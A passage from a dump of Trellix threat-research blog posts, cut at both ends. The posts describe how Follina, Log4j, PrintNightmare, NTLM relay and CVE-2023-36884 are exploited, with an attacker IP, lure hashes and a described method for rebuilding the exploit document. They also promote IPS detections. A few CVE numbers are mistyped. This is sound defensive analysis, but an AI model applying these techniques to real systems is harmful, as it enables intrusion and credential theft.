Trellix Network Security Platform\u2019s advanced inspection capabilities highlighted above can help correlate multiple low or medium severity events to detect phases in the attack cycle, thereby raising overall confidence level.\n\n**Microsoft Open Office XML(OOXML) file format**\n\nOLE File format which was traditionally used in Microsoft office is replaced with Office open xml. Office Open XML (OOXML) is a zipped, XML-based file format developed by Microsoft for representing spreadsheets, charts, presentations, and word processing documents. In a nutshell this means that the whole document is contained in a zip package. Multiple files and directories together form the document. There are directories like _[Content_Types].xml , _rels, docProps_, which are basic part of all office zip packages, and then there is a directory specific to document type _(word directory for docx, xl and ppt directory for xlsx and pptx respectively)_. For each of the document type the specific directory would contain different files limited to the type. Like in case of a docx type, the \u2018word\u2019 directory contains document.xml file which has the core content of the document. Here is a brief overview about important files under these directories: \n\n**[Content_Types].xml** \nThis file contains the MIME type information for parts of the package. It uses defaults for certain file extensions and overrides for parts specified by Internationalized Resource Identifier.\n\n**_rels** \nThis directory contains the relationship information for files within the package.\n\n**_rels/.rels** \nThis is the location where applications look first to find the package relationships.\n\n**docProps/core.xml** \nThis file contains the core properties for any Office Open XML document.\n\n**word/document.xml** \nThis file is the main part for any Word document.\n\nZip file format specification specifies that a file in the zip archive is stored in a file record structure. For each file in the zip archive, there is a corresponding entry of this structure. \n\n[local file header 1] \n[file data 1] \n[data descriptor 1] \n. \n. \n. \n[local file header n] \n[file data n] \n[data descriptor n] \n \n[archive decryption header] \n[archive extra data record] \n[central directory header 1] \n. \n. \n. \n[central directory header n] \n[zip64 end of central directory record] \n[zip64 end of central directory locator] \n[end of central directory record]\n\nThese structures are placed one after another, structure starts with local file header followed by optional Extra Data Fields and file data (optionally compressed/optionally encrypted). Local header contains details about the file data, encryption/compression mechanism along with filename, file size and few more things.\n\n**Local file header**\n\nOffset | Byte | Description \n---|---|--- \n0 | 4 | Local file header signature # 0x04034b50 (read as a little-endian number) \n4 | 2 | Version needed to extract (minimum) \n6 | 2 | General purpose bit flag \n8 | 2 | Compression method \n10 | 2 | File last modification time \n12 | 2 | File last modification date \n14 | 4 | CRC-32 \n18 | 4 | Compressed size \n22 | 4 | Uncompressed size \n26 | 2 | File name length (n) \n28 | 2 | Extra field length (m) \n30 | n | File Name \n30+n | m | Extra Field \n0 | 4 | Local file header signature # 0x04034b50 (read as a little-endian number) \n4 | 2 | Version needed to extract (minimum) \n6 | 2 | General purpose bit flag \n \n \n\n\nFor Microsoft documents, deflate compression is used commonly. In a nutshell, the files which constitutes the document are stored in possibly encrypted/compressed format inside the zip package. In the figure below, we dissect this structure for document.xml file present under word directory with a hex editor (010 editor) with zip parsing capabilities which will help us to investigate the details \u2013\n\n Figure 7: Structure for document.xml \n\n\n**Need for deep file inspection**\n\nWe have seen in the past that different vulnerabilities may require the IPS devices to examine the content of the different files present inside zip package. Same is the case with Follina. As explained earlier, this vulnerability abuses Microsoft OOXML **Object Linking and Embedding** functionality linking a file to external resource via the relationship file to load malicious content. Hence it requires the detection device to check the external references used in word/rels/document.xml.rels file. \n\n Figure 8: Structure of document.xml.rels \n\n\nSince this file is present, as a compressed entity in the zip archive, a meaningful detection with IPS cannot be done until the file is decompressed. With NSP\u2019s unique in industry capability, known as Deep File inspection, this is possible. \n\nThis is implemented using protocol parsing capability of the NSP. The local file header structure for the specific file is parsed and the compressed data of the file is decoded. This feature can be used by enabling it from the inspection option policy.\n\n Figure 9: Policy configuration to enable MS Office Deep File Inspection \n\n\n_For more details, please refer to NSP documentation_\n\n**Some of the key highlights: deep file inspection **\n\n * This feature helps to decompress the file contents inline; the complete file is not required to be downloaded for inspection \n * It also gives the flexibility to decompress only the content of a selected file (individual file present inside zip achieve), yielding better performance since the whole zip archive is not required to be decompressed .\n * The individual files (which are part of zip package) can be controllably decompressed by specifying byte limit per file. This plays a great role in improving performance while doing inline inspection.\n\nTrellix NSP Attack ID **0x452a8400 - HTTP: OLE Object Linking Detected in OOXML File** \u2013 uses the Microsoft Office Deep file inspection feature to detect signs of external object linking. However, just checking for external OLE references will not be sufficient until it is ascertained that the external URI does the malicious activity. Since we know that external URI loads the HTML which invokes the MSDT handler in a malicious fashion. \n\nInvoking MSDT through HTML content is detected by Trellix NSP Attack ID **0x452ac200 \u2013 HTTP: Microsoft Support Diagnostic Tool Remote Code Execution Vulnerability (CVE-2022-30190)**\n\n**Detecting the attack chain using multi attack ID Correlation**\n\nThe attack visualization is better when the dots can be connected between different stages of the attack. Multi Attack ID Correlation capability helps achieve this by correlating multiple attacks. \n\nTrellix NSP Attack ID **0x43f02000 HTTP: Microsoft Support Diagnostic Tool RCE Vulnerability (CVE-2022-30190)** utilizes this capability and correlates \u201cHTTP: OLE Object Linking Detected in OOXML File (0x452a8400) \u201d and \u201cHTTP: Microsoft Support Diagnostic Tool Remote Code Execution Vulnerability (CVE-2022-30190) (0x452ac200)\u201d to generate corelated attack event. \n\nThe alert generated using Multi AID correlation is of high confidence and severity and helps security admins to take further actions. This feature is built into Trellix NSP by default and there is no extra configuration required to enable it. \n\n**Some of the key highlights: multi attack ID Correlation **\n\n * Two or more attacks can be correlated \n * Provides capability to quarantine the attacker (configurable from the policy)\n * Correlation using attributes like \u2013 \n * source-IP/destination IP: This attribute helps correlating attack originating from same source IP and/or targeted to the same destination IP .\n * Lifetime: max time interval in which all correlation signature event should occur\n * Threshold: Detection of attack happening repeatedly in a specific period.\n\nWith these strong correlation capabilities for the complete attack cycle, Trellix Network Security Platform\u2019s Threat Detection solution balances the effectiveness and performance extremely well. The Trellix NSP research and Engineering team actively monitors and keeps an eye on emerging threat patterns ,builds the features and capabilities to enhance overall detection efficacy of the Intrusion Prevention System. \n\n## Conclusion \n\nWe have seen multiple vulnerabilities in the past using exploitation techniques similar in nature and this is yet another addition to the series. In our previous blog, outlining the current state of memory corruption vulnerabilities and the challenges faced in exploiting them, we also highlighted the exploitation strategies of the future and the **Follina** attack very well validates our prediction. While exploiting different classes of memory corruption vulnerabilities can be eliminated by introducing mitigations as either operating system or hardware level, vulnerabilities exploiting design flaws will remain a challenge. Perimeter and endpoint security solutions will have to evolve to address those challenges by introducing the innovative inspection and detection techniques alongside applying secure software design and development practices during application development. \n", "cvss3": {}, "published": "2022-07-19T00:00:00", "type": "trellix", "title": "Countering Follina Attack (CVE- 2022-30190) with Trellix Network Security Platform\u2019s Advanced Detection Features", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444", "CVE-2022-30190"], "modified": "2022-07-19T00:00:00", "id": "TRELLIX:D8DB23FAEBC16DCFBC54050BEBBF650D", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/countering-follina-attack-with-network-security-platforms-advanced-detection-features.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-01-24T00:00:00", "description": "# Beyond Memory Corruption Vulnerabilities \u2013 A Security Extinction and Future of Exploitation\n\nBy Chintan Shah \u00b7 January 24, 2022\n\nModern exploitation techniques have changed how adversaries execute their attack strategies and how defenders analyze paths from vulnerability to exploitation. Over the past decade, we have seen rock solid focus on hardening security at both the overall Operating System and applications, which has resulted in remarkable progress being made on introducing several exploit mitigations. This progress has been gradually eliminating entire classes of memory corruption vulnerabilities in some cases. The Use-after-free (UAF) is a class of vulnerabilities, for example, which is very common in large complex code bases such as web browsers. Due to ease of exploitation, Microsoft introduced an isolated heap and delayed free of objects in its browser engine (mshtml.dll), breaking the UAF exploitation chain and making adversaries to address those barriers requiring them to re-engineer the exploits. Figure 1 below shows the part of the code where it was introduced to mitigate UAF vulnerabilities. \n\n **Figure 1 \u2013 mshtml introduction of the isolated heap to raise exploitation bar for UAF exploitation**\n\nWe can notice the different between the protected and unprotected code. While this was just the tip of the iceberg, it made exploiting UAF vulnerabilities extremely challenging since it required the attackers to address specific timing constraints and memory thresholds as well. Figure 2 below is the simple visualization of Windows OS memory exploit mitigations introduced over the past decade or so.\n\n **Figure 2 \u2013 Evolution of Windows OS exploit mitigations**\n\nHowever, time and again, we have seen these exploit mitigations being bypassed within a short period after they were introduced, primarily because either all the code including dependent, and third party code was not compatible with or not compiled with those mitigation switched on in the compiler. This essentially meant that the exploit mitigation was not enforced on every part of the code, or the mitigation itself was not completely implemented, leaving multiple loopholes which in turn could be exploited . For instance, it can be noted from the above visualization that ASLR was not implemented in initially in its entirety but rather in stages, thereby leaving much of the code still vulnerable to bypasses.\n\n##### Memory Corruption vulnerabilities \u2013 Will it become a thing of the past? \n\nWhile memory corruption vulnerabilities continue to be the most widely reported class of bugs , converting them into full-fledged weaponized exploits has become a challenge over the recent years owing to the exploit mitigations introduced at the OS as well as the client side application (For e.g., scripting engines). Translating memory corruption vulnerabilities into full blown exploits leading into arbitrary code execution, requires bypassing multiple mitigations without triggering any endpoint security solution protection or detection. This now means significant invest in effort, time and cost is required by adversaries to research exploit mitigation bypasses. On several occasions, adversaries may also need to chain multiple vulnerabilities to be able execute a working exploit on the target system which also significantly increases the development cost , raising the bar of exploitation.\n\nWe believe that this exploitation mitigations evolution is going to be crucial in shaping the nature of vulnerability classes of interested to adversaries in the future. The question : \u201cWill memory corruption vulnerabilities become extinct ?\u201d is debatable and requires some introspection.\n\n##### Exploitation Strategies of the Future - What lies ahead? \n\nMemory corruption vulnerabilities will continue to exist in the applications as long as there is some code in the application that handles memory incorrectly, but the intensity and frequency of exploitation of this class of vulnerabilities will eventually fade out. We had witnessed multiple instances of exploitation techniques in the past where attackers achieved arbitrary memory Read/Write (R/W),by exploiting a memory corruption flaw and using that primitive to change certain flags or data in the application memory leading to code execution. These set of methods codenamed \u201cdata only attacks\u201d were relatively easier strategies seen in many exploits. Eventually randomizing certain critical data structures locations in memory reduced this nature of attacks over time. \n\nWith feature rich applications, attackers will always be on a lookout for the easier strategies to achieve code execution on the target system. There are always legacy systems around exposed to the internet which will offer the path of least resistance to the attackers since they lack the mitigations introduced. However, one of the ways forward in this direction is to abuse the feature or design flaws in the application or in the network protocol. If adversaries can determine the way to abuse the inherent design or feature of the target application, for instance, making the application or a service connect to the attacker controlled machine without orchestrating the memory explicitly, it becomes relatively easier to achieve remote code execution and at the same time, causing havoc on the target machine since the functionality of the arbitrary code executed by the exploited process is completely on the imagination of the attacker. Figure 3 below is a simplistic view on the progression of exploitation strategies over the last few years. \n\n **Figure 3 \u2013 Adversary exploitation strategy evolution**\n\nWe have witnessed data only attacks and abuse of application features/design flaws several times over the last few years. They offer multiple advantages over the traditional memory corruption exploits, and some of the reasons we believe this is going to be the exploitation strategy of the future are:\n\n * It has the potential to bypass exploit mitigations in place and hence adversaries do not have to engineer the exploit specifically to address those barriers. \n * Arbitrary code is executed with the privileges of the exploited process and hence helps elevate the privileges.\n * Exploits taking advantage of application\u2019s inbuilt feature or design flaws does not have to deal with the explicit memory manipulation and space constraints before the vulnerability is exploited. Consequently, getting rid of injecting the shellcodes in the memory and the older stack pivoting techniques. \n * Relatively easier to exploit with lesser development / maintenance cost and time to weaponize it. \n\nRetrospection of critical vulnerabilities over the last couple of quarters can give us the definite clue on how the future attacks will take shape. In the following sections, we take a look at some of the more recent high impact vulnerabilities and check how features or design flaws in the service or application were abused to achieve code execution or sensitive information leak with minimum resistance.\n\n##### CVE-2021-44228 \u2013 Apache Log4J2 Logging Library Vulnerability Leading to Remote Code Execution\n\nThis RCE vulnerability reported in Apache\u2019s Log4j Logging library is one of the most critical flaws reported in the recent years, allowing attackers to execute arbitrary code on the vulnerable server that uses Log4J logging library to log text messages. [In our previous blog](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/vulnerability-discovery-in-open-source-libraries-part-1-tools-of-the-trade/>), we discussed at great length on how open source softwares serves as the building blocks of modern software development and how critical it is to audit them as any vulnerability will have a significant impact on the product using it. \n\nThe vulnerability lies in the \u201c**Lookup**\u201d method of \u201c**jndimanager**\u201d class. When the JNDI URL is included in the request message parameter to be logged by log4j, the apache\\logging\\log4j\\core\\lookup\\JndiLookup.lookup () method is called with the JNDI URL which in turn calls the net\\JndiManager.lookup () method as shown in figure 3 below, leading to the initiation of the remote JNDI lookup to the attacker controlled server. This allows the attacker controlled server to send the malicious JNDI reference in the response leading to the execution of arbitrary code on the vulnerable server. \n\n **Figure 4 \u2013 JNDI lookup**\n\nThis RCE was made possible because Java implements a variety of JNDI ( Java Naming and Directory Services) service providers like LDAP, DNS, RMI and CORBA; loading remote classes was also possible, depending on the default system properties set.\n\n**CVE-2021-44228** is a classic example of feature exploitation. The feature abused here was the [lookup substitution](<https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution>) which supports [Lookups](<https://logging.apache.org/log4j/2.x/manual/lookups.html>). Lookups are way to add values to the log messages which are typically variable names resolved using a defined map or at the runtime via implemented interfaces like [StrSubstitutor](<https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html>) and [StrLookup](<https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrLookup.html>) classes. \n\nLog4j supports the property syntax \u201c${prefix:name}\u201d where prefix indicates the Log4j that the variable name should be evaluated in the specific context. JNDI context is built into Log4J as shown below.\n\n **Figure 5 \u2013 JNDI context**\n\n **Figure 6- JNDI lookup descripton**\n\nSince JNDI lookups was enabled by default in Log4J version 2.14.1 and prior (see figure 6 above), the library could identify the JNDI references passed as the parameter value in the HTTP request headers logged on the server , consequently allowing attackers to inject malicious JNDI references in the HTTP request parameters leading to remote Java code execution.\n\n##### CVE-2021-34527 \u2013 Windows Print Spooler Service Vulnerability Leading to Remote Code Execution\n\nPrivileged remote code execution vulnerability in spoolsv.exe i.e., PrintNightmare was another critical vulnerability reported last year and serves as good illustration of how a design flaw in the protocol can be abused to execute arbitrary code on the target machine without having to operate on the memory. \n\nThe vulnerability was exploited over Print System Remote Protocol ([MS-RPRN](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1>)) and Print System Asynchronous Remote ([MS-PAR](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/695e3f9a-f83f-479a-82d9-ba260497c2d0>)) protocol, by making RPC calls over SMB. The exploit takes advantage of a classic design flaw in the implementation of the print server component in the spooler service, when RPC requests are made to MS-RPRN and MS-PAR interfaces to install the printer drivers on the target system. Making the RPC call to [RpcAddPrinterDriverEx](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>) (MS-RPRN Opnum 89) or [RpcAsyncAddPrinterDriver](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/5d864e3e-5d8b-4337-89ce-cb0258ab97cd>) (MS-PAR Opnum 39) requires a DRIVER_CONTAINER structure to be passed as an argument. \n\n **Figure 7 \u2013 DRIVER_CONTAINER structure**\n\nAs indicated in the above structure details, DRIVER_CONTAINER contains **pDriverPath** and **pConfigFile**, which are the full path of the filename containing the printer driver and configuration module respectively. Both **pDriverPath** and **pConfigFile** are checked for the UNC path to prevent arbitrary code from loading. \n\nThe design or logic flaw in the code here is that same UNC path check is not applied to **pDataFile**, which is the full path of the file containing printer data. An adversary could make multiple calls to **RpcAddPrinterDriverEx** with:\n\n 1. **pDataFile** as the UNC path of the malicious DLL accessible to the target machine which when successful will copy the malicious DLL to the target machine locally.\n 2. Same API with the copied file name assigned to the **pConfigFile** (this time the malicious DLL becomes the local path) , leading to loading of malicious code by print spooler service. \n **Figure 8 \u2013 Adversary calls to driver installation API RpcAddPrinterDriverEx**\n\n##### CVE-2021-36942 \u2013 LSA Spoofing Vulnerability in Windows Leading to Credential Leaks\n\nRPC over SMB had always been on the forefront of many exploitation methods. This vulnerability could be exploited by again abusing [MS-EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) protocol, which is used in windows to manage the files on the remote system and encrypted using [Encrypting File System](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/230807ac-20be-494f-86e3-4c8ac23ea584#gt_3bd30c20-9517-4030-a48c-380362e209a1>) ( EFS ). \n\nBy making specific RPC calls like [EfsRpcOpenFileRaw](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) over LSARPC interface attacker can make one windows host authenticate to another server; essentially meaning that a target server can be made to authenticate to an adversary controlled server via NTLM authentication. More importantly, LSARPC can be issued using RPC calls without any prior authentication and if this target server is Active Directory (AD), then adversary can make AD connect to the arbitrary server using the machine account for NTLM authentication. This EFSRPC protocol can be abused to chain multiple vulnerabilities within the enterprise network to relay NTLM credentials to an attacker controlled server which could be used to perform lateral movement, eventually leading to complete domain compromise. \n\n **Figure 9 \u2013 Adversary making RPC call to EFSRPC interface**\n\nIf the adversary is controlling an IIS web server with the Active Directory Certificate Services ( AD CS ) feature installed and is configured to use NTLM over HTTP authentication, making an Active Directory authenticate to IIS will result into leaking the NTLM credentials to the adversary, resulting in complete domain compromise. While NTML relay attacks aren\u2019t new, it is recommended to use more secure authentication mechanism like Kerberos to prevent protocol abuse like this.\n\n **Figure 10 \u2013 Authentication providers in IIS web server**\n\nIn summary, being able to abuse a protocol or a feature to make a critical asset connect to an externally owned adversary server comes with a dangerous consequence as demonstrated by the CVE-2021-44228 Log4J vulnerability.\n\n##### CVE-2021-40444 \u2013 Windows MSHTML Vulnerability Leading to Remote Code Execution\n\nThis was yet another critical vulnerability exploited last year and is a great example of how a simple feature abuse can be chained with a logic flaw to achieve arbitrary code execution. First, Object Linking and Embedding (OLE) was used to link the document to the external OLE object. Historically, OLE has played a significant role in building weaponized office exploits and this will continue to happen as it is one of the core features of MS-Office file format designed specifically to address interoperability. \n\n[MS Office Open XML specifications](<https://www.ecma-international.org/publications-and-standards/standards/ecma-376/>) allows a document to embed or link to internal or external objects and in particular link to the external OLE object is specified via relationships . As shown in the crafted exploit document below, the **document.xml.rels** file with **Type** attribute as \u201coleObject\u201d, **Target** attribute set to the OLE object link and **TargetMode** set as external. This allows the crafted document to link to the externally hosted malicious object and invoke the respective protocol / resource handlers for rendering the object, to exploit a potential logic / design flaw in the handler. This is typical OOXML template injection techniques used in many OOXML exploits in the past. We had an in depth look on OLE exploits in our [previous blog post](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/an-inside-look-into-microsoft-rich-text-format-and-ole-exploits/>).\n\n **Figure 11 \u2013 document.xml.rels file in the OOXML document linking to external OLE object**\n\nHTML code processing is done in **mshtml.dll** while HTTP protocol and MSHTML downloads are verified for trust and handled in urlmon.dll. The design flaw in the **urlmon.dll** code was in relation to the extraction and the trust verification of the downloaded CAB file. The CAB file was downloaded via Javascript (JS) code embedded within the **side.html** page as in figure 11 above. Because of the missing path escape checks during the extraction of the CAB file, it allowed the exploit to extract the file contained within the CAB with the relative path per figure 12 below. This resulted into dropping of the malicious payload outside of the created TEMP directory, eventually allowing the dropped payload to be executed.\n\n **Figure 12 \u2013 Vulnerability in CAB file extraction function in urlmon.dll**\n\n##### Conclusion\n\nThere has been a trend in the past few years of vulnerabilities like CVE-2021-44228, CVE-2021-34527, CVE-2021-36942 and CVE-2021-40444 described above which take advantage of inherent processing flaws and are predominantly feature abuse. While memory corruption flaws will continue to proliferate as long as insecure code exists in non-memory safe languages other than Rust, we certainly expect to see the exploitation trend moving more towards exploiting design or logic flaws and protocol abuses. Consumers as well as the developers of open source software need to be more vigilant as these flaws will allow adversaries to achieve their initial system level objective of moving laterally within the network ,without worrying about the defense in depth of recently matured memory exploit mitigations.\n", "cvss3": {}, "published": "2022-01-24T00:00:00", "type": "trellix", "title": "Beyond Memory Corruption Vulnerabilities \u2013 A Security Extinction and Future of Exploitation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-34527", "CVE-2021-36942", "CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-01-24T00:00:00", "id": "TRELLIX:ED6978182DFD9CD1EA1E539B1EDABE6C", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/beyond-memory-corruption-vulnerabilities.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-08-24T00:00:00", "description": "# The Tale of Two Exploits - Breaking Down CVE-2023-36884 and the Infection Chain\n\nBy [Chintan Shah](<https://www.trellix.com/en-in/about/newsroom/stories/contributors/chintan-shah.html>) \u00b7 August 24, 2023\n\n## Executive Summary\n\nOn July 11 2023, Microsoft released a patch fixing multiple actively exploited RCE vulnerabilities and [disclosed](<https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/>) a phishing campaign conducted by the threat actor, identified as Storm-0978, which targeted entities in Europe and North America. This campaign used a zero-day vulnerability tracked as CVE-2023-36884, a remote code execution vulnerability in windows search files that is exploited via crafted Office Open eXtensible Markup Language (OOXML) documents with specific geopolitical lures related to Ukraine World Congress (UWC). While, there was a [workaround](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884>) suggested to mitigate this vulnerability, on August 8 2023, [Microsoft Office Defense in Depth update](<https://msrc.microsoft.com/update-guide/vulnerability/ADV230003>) was released breaking the exploitation chain which led to RCE through windows search (*.search-ms) files.\n\nHardening of operating systems and several exploit mitigation features have resulted in steady decline in the exploitation and weaponizing of memory corruption vulnerabilities. Abusing features of Microsoft Office has been at the forefront and the top techniques for adversaries to execute targeted attacks. This is fundamentally because of its rich set of features exposing larger attack surface, wider adoption, and ease of exploitation, ultimately becoming a lucrative attack vector. We\u2019ve had many such instances in the past like CVE-2022-30190, [CVE-2021-40444](<https://kcm.trellix.com/corporate/index?page=content&id=KB94876>) and many others where Office documents had been used either as a carrier for other file format exploits or used to link them to the malicious external resources or objects, which in turn exploits vulnerabilities via invoking respective object renderers. Office documents historically also have been used to chain multiple vulnerabilities together to achieve Remote Code Execution (RCE). Previously, we blogged about CVE-2022-37985, an information disclosure vulnerability in Windows Graphics Component, which can be exploited through Office documents, and when chained with other vulnerabilities giving arbitrary write primitives, has potential to achieve code execution. \n\nIn this blog, we will take a deeper look at the malicious OOXML, and embedded Rich Text Format (RTF) document exploit used in targeted attacks against government entities and visualize the attack sequence and chain of exploits. We will also attempt to reconstruct the document lures programmatically using the same technique with sample code and further highlight the Trellix IPS and product coverage against the exploits used in this attack.\n\n## Introduction\n\nIn this attack campaign, threat actors used multiple OOXML documents with the name and hashes: \n\nOverview_of_UWCs_UkraineInNATO_campaign.docx [2400b169ee2c38ac146c67408debc9b4fa4fca5f]\n\nLetter_NATO_Summit_Vilnius_2023_ENG (1).docx [3de83c6298a7dc6312c352d4984be8e1cb698476]\n\n\n\n\n\nFigure 1 \u2013 document lures used in the campaign \n\n\nWhile quickly scanning OOXML lures through in-house built Office file analysis engine, we noticed RTF document embedded inside and on further analysing RTF through the same scanning engine, multiple suspicious indicators were noticed as shown below. This triggered our investigation on the technique used to embed RTF into OOXML and see if we can apply the same method to reconstruct the lures leading to chain of infection.\n\n Figure 2 - Detection for document lures \n\n\nDocument structure of both exploits used in this campaign are similar to the one used in the Follina attack (CVE-2023-30190). However, in the Follina exploit, Object Linking was used to link the OOXML document to the externally hosted HTML file as detailed in our previous blog. While in the OOXML exploiting CVE-2023-36884, **Alternate Format Chunk (AltChunk / aFChunk)** embeds an RTF file within the OOXML. Use of the AltChunk class is indicated by the **w:altChunk** element tag in the document.xml file when the container document is deflated as shown below:\n\n Figure 3 \u2013 document.xml using altChunk to embed malicious RTF \n\n\n## Use of \u201cAlternative Chunk\u201d in CVE-2023-36884\n\nTraditionally, Office exploits used Object Linking and Embedding (OLE) to embed external content into the container application. In this exploit, **altChunk (stands for Alternative Chunk)** is used, which is an OpenXML standard providing the way to merge two documents into a single larger document. The **AltChunk** element indicates the container application to import the content stored in the alternative part of the document (in this case, an RTF document).\n\nThe **altChunk** element specifies the location in the OOXML document for inserting the content of the specified file into the target document. The content type to be inserted and the location of the file is specified by the relationship **Type** and **Target** elements with the same relationship id as used above in **document.xml.rels** within the **/word/_rels** directory as shown in the exploit below. \n\n Figure 4 \u2013 Relationship Target referring embedded RTF \n\n\nAs per the [specifications](<https://learn.microsoft.com/en-us/openspecs/office_standards/ms-oi29500/c391c28f-1b03-4a21-a4f8-4d9cddd4a95c>), the relationship Type should be \u201c**\u2026/relationships/aFChunk**\u201d, as shown above, and the **TargetMode** should be specified as \u201cInternal,\u201d which is missing but Office seems to ignore the attribute and still processes the document. Multiple content types can be imported with this method including application/rtf, application/html, application/text, application/xml, etc, which effectively allows OOXML documents to be used as a carrier for other file format exploits.\n\n## Analysis of embedded RTF (afChunk.rtf)\n\nTaking a deeper look at the embedded RTF document, it has precisely two embedded objects which download additional malware payloads through redirection chains. One of the embedded OLE objects inside the RTF is a linked object indicated by a \u201c**objautlink**\u201d RTF control word followed by \u201c**objupdate**\u201d, which forces the objects / links to update before displaying the contents of the linked object. \n\n Figure 5 \u2013 Embedded object 1 in RTF \n\n\nAdditionally, the embedded object contains the Universal Naming Convention (UNC) path to the external IP, initiating the connection to the externally hosted SMB server to download another file **file001.url** (SHA-1 70560aff35f1904f822e49d3316303877819eef8). This is again the Word document embedding the HTML content with iframe source, which is rendered upon launching the original document.\n\n  \n\n\n\n\n\n\n \n\n\n\n\n\n\nFigure 6 \u2013 View of OLE object using OLE2LINK technique of linking RTF doc \n\n\nWhile another OLE object is also a linked object, with objclass of \u201cxmlfile\u201d and oleclsid of \u201cStdOleLink\u201d object. This effectively means the StdOleLink OLE object is used to link the RTF to an externally hosted XML file. This was one of the widely adopted techniques and was also used in massively exploited CVE-2017-1099. However, this linking feature can still be used in the similar fashion to exploit logic flaws in other renderer components. Once the RTF is launched, connection is initiated to the external IP to retrieve start.xml which is then rendered by [SAX XML Reader 6.0](<https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms764622\\(v=vs.85\\)>) ( msxml6.dll). This retrieved XML file in turn has embedded iframe source pointing to another file RFile.asp in the same path. Part of the infection chain can be visualized below.\n\n Figure 7 \u2013 Embedded object 2 in RTF \n \n Figure 8 \u2013 View of OLE object using OLE2LINK technique of linking RTF doc \n \n Figure 9 \u2013 RTF document initiating connection to retrieve start.xml \n \n Figure 10 - Contents of start.xml containing iframe \n\n\nAs seen in the _RFile.asp_ code below, it starts with the timeout of 30000 seconds and then it loads another iframe contained within which retrieves a .htm file from the same attacker-controlled server 104.234.239.26, which has the dynamically generated file based on the IP address of the victim and the unique id in the path of the HTTP request.\n\n Figure 11 \u2013 Contents of the RFile.asp \n\n\nApparently, the infection chain turns out to be a series of iframe redirects and resumes with the fetching of the .htm file and subsequently search-ms files, and eventually ends up downloading the final payload. The entire infection chain can be very well visualized with following infographic:\n\n Figure 12 \u2013 Visualization of CVE-2023-36884 infection chain \n<https://twitter.com/r00tbsd/status/1679042071477338114> \n\n\n## Can we reconstruct the exploit using URL Moniker and \u201cAltChunk\u201d?\n\nThe below C# sample code uses the **DocumentFormat.OopenXML** package and demonstrates how we can reconstruct the OOXML document with embedded RTF using the \u201caltChunk\u201d class as used by attackers in this campaign. This code will embed _Document1.rtf_ into _Document2.docx_ and will create another file with the name CVE-2023-36884.docx. \n\nTo be able to altChunk the RTF document into OOXML, the code first initializes a unique altChunkId as a relationship id. It then creates the new AlternativeFormatImportPart with the altChunkID and calls OpenXML API **AddAlternativeFormatImportPart** with **AlternativeFormatImportPartType** as the RTF, adding to the main document (CVE-2023-36884.docx). As mentioned in the previous sections, [AlternativeFormatImportPartType](<https://learn.microsoft.com/en-us/dotnet/api/documentformat.openxml.packaging.alternativeformatimportparttype?view=openxml-2.8.1>) is of type enum which specifies content types to be imported.\n\n Figure 13 : AlternativeFormatImportPartType used to import multiple content types \n\n\nSubsequently, after creating the new AltChunk, contents of the Document1.rtf are inserted at the end of the main document (CVE-2023-36884). We believe that the same technique must have been used by authors to build the exploit. \n\nFigure 14: Document1.rtf \n\n\nFigure 15: Document2.docx \n\n\n\n\n\n\n \n Figure 16: Code to insert RTF into DOCX using AltChunk \n \n Figure 17: Reconstructed POC exploit with connection to start.xml initiating the infection chain \n\n\n## Trellix IPS protection and Product Coverage against this attack \n\nTrellix NSP has been one of the most advanced IPS in the security industry, consistently engaged in protecting customers from advanced attacks. Some of the cutting-edge IPS features like **Microsoft Office Deep File Inspection** and **Multi Attack ID Correlation** protect customers against a variety of file format attacks and help correlate multiple low or medium severity alerts in the attack cycle, increasing overall confidence level. [Trellix IPS released](<https://kcm.trellix.com/agent/index?page=content&id=KB96639>) following the detections for protection against this attack.\n\nIPS Attack ID\n\nAttack Name\n\n0x452d8200\n\nHTTP: Microsoft Office Remote Code Execution Vulnerability (CVE-2023-36884)\n\n0x452da500\n\nHTTP: Microsoft Office Post Exploitation Activity I (CVE-2023-36884)\n\n0x452d8300\n\nHTTP: Microsoft Office Post Exploitation Activity (CVE-2023-36884)\n\n \n\n\n### Trellix Product Coverage\n\nProduct \n\nDetection Details \n\nENS-AV \n\nPUP-ILJ \nRTFObfustream.a \nGeneric Trojan.mq \nHTML/Agent.s \nHTML/CVE2023-36884.a \n\nENS-EP \n\nCVE-2023-36884_Office_and_Windows_HTML_Remote_Code_Execution_Vulnerability.md \n\nHX-IOC \n\nSUSPICIOUS LAUNCH OF MSDT.EXE BY OFFICE APPS A (METHODOLOGY) \n\nHX-AV/MG \n\nTrojan.GenericKD.67946770 \nExploit.CVE-2017-0199.02.Gen \nTrojan.GenericFCA.Agent.98791 \nTrojan.GenericFCA.Agent.98790 \n\nNetwork (NX) \n\nNX \nTrojan.Generic.DNS \nTrojan.Generic.DNS \nNX IPS \nFE_Office and Windows HTML CVE-2023-36884 Remote Code Execution Vulnerability \nFE_Office and Windows HTML CVE-2023-36884 Remote Code Execution Vulnerability \nFE_Office and Windows HTML CVE-2023-36884 Remote Code Execution Vulnerability \nFE_Office and 